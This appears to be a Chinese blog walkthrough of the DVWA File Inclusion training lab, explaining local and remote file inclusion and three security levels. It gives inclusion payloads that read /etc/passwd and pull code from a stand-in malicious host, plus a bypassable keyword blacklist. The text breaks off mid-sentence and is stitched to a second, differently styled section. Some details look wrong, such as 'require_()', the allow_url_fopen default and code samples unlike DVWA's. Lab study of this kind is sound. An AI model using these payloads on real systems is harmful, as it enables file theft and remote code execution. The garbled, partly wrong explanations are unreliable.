DVWA通关攻略之文件包含

1.file include 文件包含

一些web应用程序允许用户指定需访问的文件,或者允许用户将文件上传到服务器。稍后,web应用程序处理访问用户提供的输入。通过这样做,web应用程序存在恶意文件执行的可能性。如果被包含的文件在目标计算机本地,则称为“本地文件包含(Local File Inclusion,LFI)”。但被包含文件也可能在其他机器上,这种攻击就是“远程文件包含(Remote File Inclusion, RFI)”。
当php.ini开启allow_url_include时,就可以使用以下四个函数进行文件包含。再开启allow_url_fopen(默认关闭)就可以包含远程文件。
require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_()与require()类似,唯一的区别就是如果该文件中的代码已经被包含,则不会再次包含。

2.实验演示

在DVWA页面左侧选择File Inclusion。
目标是只使用文件包含来读../hackable/flags/fi.php内的五句话。

2.1.low

DVWA Security设置为low,即开发者没有采取任何保护措施。
在这里插入图片描述

在页面上点击三个文件名会显示不同内容,查看URLhttp://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php。了解到是通过page=点击的文件名来显示相

### DVWA 文件包含漏洞 解题思路及方法 #### 低安全级别(Low Level) 在低级别的文件包含漏洞测试中,应用程序允许用户通过URL参数指定要包含的PHP文件。由于缺乏任何验证或过滤措施,攻击者可以轻松利用此漏洞来加载任意本地文件或远程文件[^1]。 ```php <?php $page = $_GET['page']; include($page . ".php"); ?> ``` 这种实现方式使得攻击者可以通过修改`page`参数值为恶意路径来进行攻击。例如: - `?page=../../../../etc/passwd%00` - `?page=http://malicious-site.com/malicious_code.php%00` 这些请求会尝试读取服务器上的敏感文件或将外部恶意脚本引入到目标网站内运行。 #### 中级安全级别(Medium Level) 中级增加了基本的安全防护措施——黑名单过滤器。尽管如此,仍然存在绕过的方法。该版本会对输入数据中的某些危险字符进行检测并阻止它们被处理;然而,这种方法并不完善,因为总有新的未预见模式能够避开现有规则[^2]。 ```php <?php $blacklist = array("..", "//", "ftp:", "http:"); foreach ($blacklist as $item) { if (strpos($_GET['page'], $item)) die('Not allowed!'); } $page = $_GET['page']; include($page . ".php"); ?> ``` 虽然这里实现了简单的字符串匹配检查,但是并没有完全消除风险。比如使用编码技术或者找到其他合法但具有相同效果的方式都可以成功实施攻击。 #### 高级安全级别(High Level) 高级别的防御策略采用了更严格的控制手段,即只接受预定义列表内的页面名称作为有效的输入选项之一。这意味着只有特定几个已知且受信任源才能被执行,从而大大降低了潜在威胁发生的可能性[^3]。 ```php <?php $allowed_pages = ['include', 'file1', 'file2', 'file3']; if (!in_array($_GET['page'], $allowed_pages)) exit; $page = $_GET['page']; include($page . ".php"); ?> ``` 这种方式有效地防止了非法文件的包含操作,并确保系统的安全性得到了显著提升。 #### 安全建议 为了更好地保护Web应用免受此类攻击的影响,在开发过程中应当遵循以下最佳实践: - 使用白名单而非黑名单; - 对所有来自用户的输入进行全面验证; - 尽可能减少动态文件包含的功能范围; - 实施适当的错误处理机制以应对意外情况的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值